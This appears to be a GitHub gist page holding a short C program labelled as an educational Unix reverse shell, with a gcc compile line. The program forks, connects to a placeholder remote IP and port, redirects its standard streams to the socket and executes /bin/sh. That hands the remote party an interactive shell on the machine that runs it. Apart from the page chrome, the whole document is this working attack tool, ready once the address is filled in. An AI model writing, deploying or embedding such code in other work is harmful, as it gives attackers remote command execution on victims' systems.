Skip to content

Instantly share code, notes, and snippets.

@qtc-de
Last active January 30, 2022 15:26
Show Gist options
  • Save qtc-de/e3b4817413625f03944ae60e4b28900d to your computer and use it in GitHub Desktop.
Save qtc-de/e3b4817413625f03944ae60e4b28900d to your computer and use it in GitHub Desktop.
Simple Unix reverse shell. For educational purposes only!
/*
* Simple Unix reverse shell. For educational purposes only!
*
* Compile with:
* $ gcc unix-reverse-shell.c -o shell
*/
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "<IP>"
#define REMOTE_PORT <PORT>
int main(int argc, char *argv[])
{
pid_t pid;
int s, err;
struct sockaddr_in sa;
pid = fork();
if( pid == 0 ) {
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
err = connect(s, (struct sockaddr *)&sa, sizeof(sa));
if( err != 0 ) {
printf("[-] connect failed with error code: %d\n", err);
}
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
err = execve("/bin/sh", 0, 0);
printf("[-] execve failed with error code: %d\b", err);
} else if( pid > 0 ) {
printf("[+] Process started with PID: %d\n", pid);
} else {
printf("[+] fork failed with error code: %d\n", pid);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment